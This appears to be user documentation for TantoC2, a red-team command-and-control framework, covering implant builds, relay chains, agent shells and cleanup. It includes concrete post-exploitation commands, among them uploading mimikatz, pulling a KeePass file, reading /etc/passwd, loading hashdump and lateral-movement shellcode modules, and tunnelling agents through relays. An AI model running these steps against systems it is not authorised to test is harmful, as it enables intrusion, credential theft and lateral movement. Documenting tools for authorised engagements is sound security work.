Agent Management

Agent Lifecycle

#

1
2
3
4
5
6

Active  →  Dormant  →  Dead
  ↓                      ↓
Killed  ←──────────────────

Session agents on TCP disconnect:
Active  →  Dead (immediate, skips Dormant)

Dead agent detection uses the agent’s own declared beacon interval (plus jitter) as the reference window. No clock-drift tolerance is applied to these thresholds — the dead-agent scanner runs on the teamserver’s clock and uses the actual last-seen timestamp.

Session agent disconnect detection: When a TCP transport session drops its connection, the teamserver immediately transitions the agent to dead — the dormant state is bypassed. This provides instant feedback in the Web UI (the agent shows “Disconnected”) rather than waiting for the background scanner to notice. A agent_status_changed WebSocket event is emitted immediately.

Dormant does not mean dead (for beacon agents). Laptops sleep, VPNs drop, and hosts reboot. Wait for the agent to recover before assuming it is gone.

Building Agents

#

Show Available Packages

#

1

tantoc2[eng]> agents generate

This lists available agent packages (e.g., dev_agent, shinobi) and active listeners.

Create a Build

#

1
2
3
4
5

tantoc2[eng]> agents generate <package> \
    --listener <listener-name>[:<external-ip>] \
    --kill-date 2026-12-31 \
    --interval 60 --jitter 10 \
    --name initial-beacon

Kill date is mandatory. This is a safety control. Always set a kill date appropriate to the engagement timeline.

Relay Agent as Listener

#

To build an agent that calls back through a relay agent instead of directly to the teamserver:

1
2
3

tantoc2[eng]> agents generate dev_agent \
    --listener RELAY-DMZ:10.0.1.5 \
    --kill-date 2026-12-31

The teamserver resolves RELAY-DMZ as an agent hostname and uses its relay port and internal IPs as the callback address. The available relay protocols are filtered to those declared in the relay agent’s relay_protocols capability. Use agents capabilities RELAY-DMZ to see what the relay agent supports before building.

Web UI: On the Builds page, when you select a relay agent as the listener, the protocol dropdown is automatically filtered to only show protocols that agent supports.

Build Mode Override

#

By default, the build mode (beacon or session) is inferred from the transport type — HTTP/HTTPS listeners produce beacon builds, and TCP listeners produce session builds. Use --mode to override this when needed:

1
2
3
4

tantoc2[eng]> agents generate dev_agent \
    --listener RELAY-DMZ:10.0.1.5 \
    --kill-date 2026-12-31 \
    --mode beacon      # force beacon mode even for TCP relay

This is most useful when building interior agents that relay through a TCP transport but should behave as beacons rather than maintaining a persistent session.

Build Warning for Stopped Listeners

#

If the selected listener is not currently running, the CLI displays a warning before creating the build. The build is still created — the warning is informational. You should start the listener before deploying the agent.

Download the Build

#

1
2

tantoc2[eng]> agents builds
tantoc2[eng]> agents builds download initial-beacon --output /tmp/initial-beacon.bin

Web UI: Builds page > download icon.

Deploying Agents

#

Transfer the binary to the target host and execute it. The exact delivery mechanism depends on your initial access method.

Development agent (for testing):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# Beacon mode (default)
tantoc2-dev-agent --server http://teamserver:8080 --interval 5 --jitter 10

# Session mode (persistent connection, ~0.5s response time)
tantoc2-dev-agent --server http://teamserver:4444 --mode session

# With fallback URLs
tantoc2-dev-agent --server http://primary:8080 \
    --fallback http://backup:8080 \
    --interval 60

For native agents (Shinobi and others), simply execute the stamped binary. No arguments needed — all configuration is baked in at build time.

Registration

#

On first contact, the agent:

1. Sends a registration request over the configured transport
2. The teamserver performs RSA-2048 key exchange (ECDH for the session key)
3. All subsequent comms use AES-256-GCM with the negotiated session key
4. The agent appears in agents list with status active

The Agent Shell

#

Enter an interactive shell for a specific agent:

1
2

tantoc2[eng]> agents use WORKSTATION-01
WORKSTATION-01:a1b2c3d4>

Blocking vs Background Tasks

#

By default, commands block until the result arrives:

1
2
3

WORKSTATION-01:a1b2c3d4> whoami
[waiting... beacon in ~45s]
CORP\alice

For beacon agents, blocking means waiting for the next check-in. Session agents respond in ~0.5 seconds.

Run in the background with &:

1
2
3
4

WORKSTATION-01:a1b2c3d4> survey &
[bg:1] survey (task abc12345...)
WORKSTATION-01:a1b2c3d4> tasks          # see pending background tasks
WORKSTATION-01:a1b2c3d4> results 1      # fetch result when ready

Press Ctrl+C during any blocking wait to background the current task.

Multi-Task Execution

#

1

WORKSTATION-01:a1b2c3d4> whoami ;; hostname ;; ps

All three tasks are submitted before any blocking begins. They run concurrently on the agent. Results are displayed in submission order.

Use ;; (double semicolon) as the separator — single semicolons appear inside shell commands passed to exec and would be ambiguous.

Available Built-Ins

#

Run capabilities to see the full list of built-in commands for your specific agent. Common built-ins:

1
2
3
4
5
6
7
8
9

WORKSTATION-01:a1b2c3d4> survey
WORKSTATION-01:a1b2c3d4> whoami
WORKSTATION-01:a1b2c3d4> ls /tmp
WORKSTATION-01:a1b2c3d4> ls C:\Users\alice\Documents
WORKSTATION-01:a1b2c3d4> cat /etc/passwd
WORKSTATION-01:a1b2c3d4> ps
WORKSTATION-01:a1b2c3d4> netstat
WORKSTATION-01:a1b2c3d4> env
WORKSTATION-01:a1b2c3d4> exec whoami /all

The ls command results are cached for remote path tab-completion — no extra C2 traffic.

Running Local Commands

#

From within an agent shell:

1
2

WORKSTATION-01:a1b2c3d4> !ls /tmp
WORKSTATION-01:a1b2c3d4> !cat notes.txt

File Transfers

#

Upload (local to agent)

#

1

WORKSTATION-01:a1b2c3d4> upload /opt/tools/mimikatz.exe C:\Windows\Temp\m.exe

Tab-complete works on the local path.

Download (agent to teamserver)

#

1

WORKSTATION-01:a1b2c3d4> download C:\Users\alice\secrets.kdbx

The file is transferred to the teamserver. A collection request is created if you are a collector-role user.

Retrieve a Downloaded File

#

From the global shell or another agent shell:

1
2

tantoc2[eng]> files list WORKSTATION-01
tantoc2[eng]> files fetch WORKSTATION-01 <transfer-id> /local/output/secrets.kdbx

All transfers include SHA-256 hash verification. The hash_verified field in files list shows whether the transfer was intact.

Module Loading

#

Modules are compiled payloads loaded into a running agent. The agent decrypts and executes them.

Find Compatible Modules

#

1
2

WORKSTATION-01:a1b2c3d4> modules list            # all compatible modules
WORKSTATION-01:a1b2c3d4> modules info hashdump   # full details for one module

Compatibility is determined by the agent’s declared module_formats and the target platform/architecture.

Load a Module (Managed Mode)

#

1
2
3
4
5

WORKSTATION-01:a1b2c3d4> load hashdump py
[waiting]
Module loaded: hashdump (id: mod-abc123)

WORKSTATION-01:a1b2c3d4> hashdump

In managed mode, the module runs inside the agent’s context and results flow back through the agent’s C2 channel.

Load a Module (Daemonized Mode)

#

1

WORKSTATION-01:a1b2c3d4> load lateral_mover shellcode --daemonize

In daemonized mode, the payload runs independently. If the module registers a new agent with the teamserver, that agent appears in agents list as a new entry (typically with RELAY-DMZ as the parent in the topology).

Unload a Module

#

1
2
3
4

WORKSTATION-01:a1b2c3d4> loaded
  mod-abc123  hashdump  (py, managed, loaded 2m ago)

WORKSTATION-01:a1b2c3d4> unload mod-abc123

Unloading sends a clean shutdown signal to the managed module. Daemonized modules cannot be unloaded this way — they need to be killed separately.

Tags and Notes

#

Tags and notes help teams organize agents, communicate status, and leave context for other operators.

Tags

#

Tags are short labels attached to an agent. Use them to classify agents by role, access level, or investigation status.

CLI:

1
2
3
4

tantoc2[eng]> agents tags WORKSTATION-01                         # view current tags
tantoc2[eng]> agents tags WORKSTATION-01 --add web-server        # add one tag
tantoc2[eng]> agents tags WORKSTATION-01 --remove web-server     # remove one tag
tantoc2[eng]> agents tags WORKSTATION-01 --set dc,domain-admin   # replace all tags

--set replaces the entire tag list. --add and --remove operate on the current list.

Web UI: Agent Detail > Info tab — pill badges with an × to remove and a + to add.

Notes

#

Notes are free-text annotations on an agent — visible to all operators with engagement access.

CLI:

1
2

tantoc2[eng]> agents notes WORKSTATION-01                                        # view notes
tantoc2[eng]> agents notes WORKSTATION-01 Apache 2.4.49, vuln CVE-2021-41773    # set notes

Notes are set by passing the text as positional arguments after the hostname. The full text (all remaining arguments joined) becomes the note. To clear notes, call agents notes <hostname> with no text (not currently supported from the CLI — use the Web UI).

Web UI: Agent Detail > Info tab — textarea with an Edit/Save toggle.

Quick Reference

#

P2P Relay Chains

#

TantoC2 supports multi-hop P2P relay chains. Interior agents (on segmented networks) forward traffic through a relay agent that has direct connectivity to the teamserver.

How Relays Work

#

• The relay agent listens on a relay port (configured at agent start with --relay-port)
• Interior agents are built with the relay agent as their callback target
• The teamserver auto-discovers the topology from forwarded messages
• Traffic is end-to-end encrypted — the relay cannot read interior agent messages

View the Topology

#

1
2
3
4
5
6

tantoc2[eng]> agents topology
Teamserver
├── RELAY-DMZ:a1b2c3d4 (direct)
│   ├── SRV-01:e5f6g7h8 (active)
│   └── DB-01:i9j0k1l2 (active)
└── WS-01:m3n4o5p6 (direct)

View a Relay Chain

#

1
2

tantoc2[eng]> agents chain e5f6g7h8
Chain: e5f6g7h8... -> a1b2c3d4... -> Teamserver

Building an Interior Agent

#

An interior agent is built using a relay-capable agent as the listener target:

1
2
3
4

tantoc2[eng]> agents generate dev_agent \
    --listener RELAY-DMZ:10.0.1.5 \
    --kill-date 2026-12-31 \
    --interval 30

Web UI: Builds page — select the relay agent from the listener dropdown.

Relay Constraints

#

• Session agents cannot relay through beacon agents (timing mismatch)
• The relay must be online when interior agents check in
• Relay topology is informational — the teamserver tracks it but does not re-route traffic
• The relay agent must declare supports_relay: true in its capabilities and list the protocols interior agents can use in relay_protocols
• If the relay agent has no supported relay protocols, the build form will show no options for that relay target

Agent Groups

#

Groups let you send the same command to multiple agents at once.

CLI Groups

#

1
2
3
4

tantoc2[eng]> agents group create webservers id1 id2 id3
tantoc2[eng]> agents group list
tantoc2[eng]> agents group use webservers
webservers[3]> whoami

Commands are dispatched to all group members. Results are displayed per-agent.

Requirements:

• All agents in a group must have the same capability set (same built-in commands and module formats)
• CLI groups are session-scoped — they are not persisted between CLI sessions

Web UI Groups

#

The Agents page supports named groups stored in browser localStorage:

1. Check the checkboxes next to the agents you want in the group (or use the header checkbox to select all)
2. Click “Save as Group” in the bulk-action toolbar
3. Enter a group name — the group is saved in the browser

To activate a saved group, open the “Groups” dropdown in the page header and click the group name. All agents in that group are selected automatically.

Note: Web UI groups are per-browser and are not synchronized to the server or shared with other operators.

Bulk Operations

#

Once agents are selected, the bulk-action toolbar exposes three operations:

• Kill selected — queues a kill task for every checked agent (confirmation required)
• Tag selected — adds or removes tags across all checked agents simultaneously
• Create task for selected — submits a task to every checked agent using the form-based task interface

After a bulk task is submitted, a results summary panel shows per-agent status as results arrive live. You do not need to visit each agent’s detail page to check whether the task completed.

Beacon Configuration

#

Adjust a running agent’s check-in frequency without rebuilding:

1

WORKSTATION-01:a1b2c3d4> beacon_config {"interval": 30, "jitter": 10}

Takes effect on the next check-in. The configuration is also updated in the teamserver’s database.

Killing and Cleanup

#

Kill an Agent

#

1
2

tantoc2[eng]> agents kill WORKSTATION-01
Kill command queued for agent WORKSTATION-01:a1b2c3d4

The kill task is queued. The agent executes it on the next check-in and terminates. The agent’s status changes to killed in the database.

For a running beacon: wait up to one full beacon interval for the kill to take effect.

Web UI: Agent Detail page > Kill button.

Clean Up the Target

#

After the agent terminates, remove any artifacts:

• Binary file on disk
• Persistence mechanisms you installed (registry keys, scheduled tasks, etc.)
• Any uploaded tools that are no longer needed

The teamserver does not perform cleanup on the target — that is your responsibility.

Archive the Engagement

#

When the engagement is complete, archive it for long-term storage:

Web UI: Engagements > archive icon.

API:

1
2
3

curl -X POST https://teamserver:8443/api/v1/engagements/<id>/archive \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"passphrase": "your-passphrase", "output_path": "/backups/eng.archive"}'

Quick Reference

#

Related Pages

#

• Engagement Workflow — end-to-end usage
• CLI Reference — complete command syntax
• Agent Modules — developer reference for modules